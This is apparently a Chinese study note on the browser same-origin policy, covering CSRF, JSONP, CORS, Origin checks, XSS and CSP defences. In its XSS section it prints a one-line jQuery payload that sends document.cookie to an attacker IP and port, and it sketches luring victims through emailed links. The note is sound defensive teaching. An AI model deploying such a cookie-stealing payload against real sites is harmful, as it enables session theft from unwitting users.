总结:
浏览器无同源限制,则有问题:CSRF
浏览器有同源限制,有时需要绕过限制,如何实现?反向代理、JSONP、CORS
JSONP的弊端:XSS
除了浏览器同源限制,后端确认前端请求是否合法的方式:origin字段、https、wss等
1 what
跨域是指从一个域名的网页去访问另一个域名的网页。一个完整URL地址通常由 协议+主机+端口+路径[+hash或search] 组成,其中hash和search是可选项、协议未列出则默认为http、port未列出则默认为80(http)或443(https)值。因此严格来说,两个网页地址的协议(http/https)、主机、端口三者任何一个不同就可以认为是跨域访问,即使两个地址是不同子域名也是跨域,如app.baidu.com与baidu.com。
浏览器出于安全考虑会限制跨域访问(即同源策略)。在该限制下,除非两个网页是来自于同一‘源头’, 否则不允许一个网页的JavaScript访问另外一个网页的内容,像Cookie,DOM,LocalStorage均禁止访问;但对具有src属性的标签(如script、img、iframe等)不做跨域限制。
2 why
浏览器出于安全考虑会限制跨域访问,若不加限制则 在一个站点上访问后 本地存储的cookie等信息在访问第二个站点时 就可能泄露了。(从这可见,跨域限制只是在通过浏览器访问时才存在,因此通过HTTP客户端等访问显然没有跨域限制问题)
没有同源限制时的危害示例:
在浏览器上先登录股票网站www.stock.com,得到了cookie,以后再访问stock时浏览器会自动带上cookie;接着访问恶意网站www.beautify.com,假定该网站页面中包含一个恶意js脚本,其行为是去访问stock并把得到的信息发到beautify网站,由于访问stock时浏览器会自动带上cookie故恶意脚本可以成功窃取到数据。示意图如下:
上述过程就是跨站请求伪造(Cross-site request forgery,CSRF)的一种例子,所幸在有浏览器同源策略的限制下上述情况不会发生。
因此,浏览器同源策略的作用是防止跨站请求伪造。
3 如何克服同源限制
浏览器的同源限制是种伤敌一千自损八百的做法,如对于一个大系统来说有很多域名是正常的,同源限制使得同一系统内的不同域名下的服务无法互相访问。
要突破浏览器跨域访问的限制,目前本质上有三种方法:
3.1 反向代理
只需要让不同地址对浏览器来说是同源的即可。如可以通过反向代理把需要互相访问的地址放到反向代理后,这样对浏览器来说就是同源的了。参考:通过Nginx反向代理实现跨域访问-cnblogs
3.2 绕过同源限制(JSONP)
浏览器对具有src属性的标签(如script、img、iframe等)不做跨域限制,利用这些来实现跨域(即 jsonp)。原理:在页面append一个script标签,标签地址为被跨域访问站点地址,并在地址上加入自定义的回调函数名参数,如?callback=myCallbackFunction,这里的"callback"可以为其他,应事先商定好;被跨域站点的响应逻辑:若未检查到"callback"参数则直接返回data,否则将data作为回调函数名的参数一起返回,即 myCallbackFunction( data );浏览器script加载完后会执行myCallbackFunction函数,因此可以在myCallbackFunction里对请求返回的data进行处理。参考:跨域与跨域访问-csdn
3.3 协议支持(CORS)
W3C标准中的跨域资源共享(Cross-Origin Resource Sharing,CORS)。
它允许浏览器向跨源服务器发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制(在实现上借助了 Access-Control-Allow-Origin 等header来与服务端协商)。在前后端分离的场景下两者独立部署,常借助此来实现前端跨域访问后端。
内部原理(详见:跨域资源共享-阮一峰):简单而言,在向目标服务器发起正式的数据请求前,浏览器先会向其发送OPTIONS请求询问(或叫协商)其是否允许接下来的跨域请求。“询问”的过程是通过几个请求头和响应头来实现的:
1 浏览器再OPTIONS预请求里增加如下header:
Origin:跨域请求发起者所在的域名
Access-Control-Request-Method:将要发起的跨域数据请求方式(GET/PUT/POST/DELETE/······)
Access-Control-Request-Headers:将要发起的跨域请求中包含的请求头字段
2 目标服务器在响应字段中表明是否允许这个跨域数据请求,浏览器收到后检查如果不符合要求就拒绝后面的数据请求
Access-Control-Allow-Origin:允许哪些域来访问(*表示允许所有域的请求)
Access-Control-Allow-Methods:允许哪些请求方式
Access-Control-Allow-Headers:允许哪些请求头字段=
Access-Control-Allow-Credentials:是否允许携带Cookie
Access-Control-Max-Age:指定本次预检请求的有效期,单位为秒,在此期间对于同样的跨域数据请求,浏览器不用再发预请求询问。
当然,为了避免每次发起数据请求前都要询问,有两个优化措施:
a:一个是上面的Access-Control-Max-Age字段避免每次都要发预请求;
b:另一个是对于“简单请求”浏览器不用发预请求,而是直接在数据请求中带上Origin字段并在响应中检查Access-Control-Allow-Origin,如果不符合要求就报错。“简单请求”是指请求方法为HEAD、GET、POST之一且只包含如下请求头字段的请求:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:(application/x-www-form-urlencoded、multipart/form-data、text/plain)
注:
JSONP、CORS需要目标站点的配合(JSONP需要服务端代码调用回调函数、CORS需要服务端配置允许的origin的白名单),否则无法实现,第一种则不需要;
AJAX已封装支持了JSONP功能,但此时其和传统意义上的AJAX请求是不一样的,本质上是不同东西:ajax的核心是通过XmlHttpRequest获取非本页内容,而jsonp的核心则是动态添加<script>标签来调用服务器提供的js脚本。更多参考:jsonp原理
CORS与JSONP的使用目的相同,但是比JSONP更强大。JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。
第一种方法的典型应用:在前后端分离的场景下,前后端都是我们自己的服务,只是部署在不同服务器站点上,所以解决通常通过在前后端服务前加个网关(如nginx)作为外界访问的入口 来解决同源限制。
第三种方法的典型应用:很多场景下两个服务并不都是自己的,故法1行不通,此时可以通过法3解决。典型的场景:在OAuth场景下,我们的服务支持了OAuth协议,第三方应用可来对接我们的系统,在授权码或隐藏式授权机制下,我们的服务器会向我们的授权页面返回重定向到第三方应用页面的指令,此时浏览器会因同源限制导致重定向失败,这时就可用CORS:第三方应用服务器进行配置以允许来自我们的授权服务的跨域请求。
3.4. 后端约束
浏览器的同源策略用来确保在浏览器内对后端发起访问的前端是可信赖的前端。除了依靠浏览器源限制外,后端服务还可以根据所收到请求的origin字段来限制白名单(origin字段由浏览器自动加入HTTP header,用户无法通过编程方式如javascript修改;当然,通过中间人攻击还是可以修改的,此时可用HTTPS或wss防范)。
目前,对于新兴的WebSocket协议(2008年诞生,2011年成为国际标准,目前所有浏览器都已支持),浏览器未做同源限制。因此应用要注意防范CSRF攻击,可借助token或上述的origin等方式防范。
4 进阶
4.1 XSS
4.1.1 what
第一节中所述危害是以没有同源限制为前提的,现实是浏览器都做了严格的同源限制,故该情况不会发生。然而在有同源限制下,我们仍可利用法2实现一个盗取用户信息的恶意脚本:
1、脚本干的事为读取当前所在用户站点的cookie等信息,并发送到脚本制作者的站点。示例:
$("body").append("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
2、发送涉及到跨域,由于是“自己人”,可以选择jsonp解决跨域;
3、弄个恶意链接诱导用户点击(如把恶意链接插到邮件里发给别人),从而将恶意脚本加载到用户站点,由于浏览器加载完script后就好执行,故done。
上述过程其实就是跨站脚本攻击(Cross-Site Scripting,XSS)的一种例子,通过XSS获取到认证信息后就自热而然地可以用认证信息进行CSRF了。
关于XSS,详情可参阅:https://mp.weixin.qq.com/s/sqOvQsz5YVR-RAzNmePD2A
4.1.2 CSRF、XSS的区别
前者获取别人的认证信息之后伪装别人去请求、后者攻击者通过JSONP等手段诱导受害者站点加载攻击者的恶意js代码从而获取到受害站点的认证信息,通常通过XSS获取到认证信息后进行CSRF。
4.1.3 XSS防御
XSS有两种,针对不同类型XSS有不同的防治方案。
反射型XSS
what:某些标签同时出现在请求(通常是URL)中和响应的网页中,由于浏览器会渲染这些标签,所以这些标签如果干的事是去加载恶意脚本,则就发生了XSS。这里的标签包括script、iframe、img等;这里的请求可以是GET、POST等。示例:
防御:XSS Auditor。Chrome内核中加入了名为XSS Auditor的功能(其他浏览器也有类似的XSS Filter),只要发现“标签同时出现在请求中和响应的网页中”,则会拒绝去渲染或执行该标签。示例:
存储型XSS
what:恶意代码存在数据库里,访问网页的时候从数据库里读取出来后,直接填充到网页上,XSS Auditor无法防御这种类型的XSS。示例:
防御:CSP(Content Security Policy)。W3C组织定义的标准,很多浏览器都已经支持。该标准定义了名为 content-security-policy 的字段,服务器可以通过这个字段告诉浏览器哪些外部资源可以加载和执行。
字段可放在http response header中、也可放在页面的meta标签中;
字段的值指定了各种标签能从哪些链接加载资源,不在指定值内的则浏览器拒绝加载,包括:
- script-src:外部脚本 - style-src:样式表 - img-src:图像 - media-src:媒体文件(音频和视频) - font-src:字体文件 - object-src:插件(比如 Flash) - child-src:框架 - frame-ancestors:嵌入的外部资源 - connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) - worker-src:worker脚本 - manifest-src:manifest 文件
此外还定义了report-uri 属性,在content-security-policy值中通过该属性指定报告的地址,如果浏览器发现页面内容违背了content-security-policy约束,除了拒绝加载资源外还可以通报给该地址。
示例:
http response header中返回该字段:
meta标签中返回该字段: <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
详情可参阅:https://cloud.tencent.com/developer/section/1189873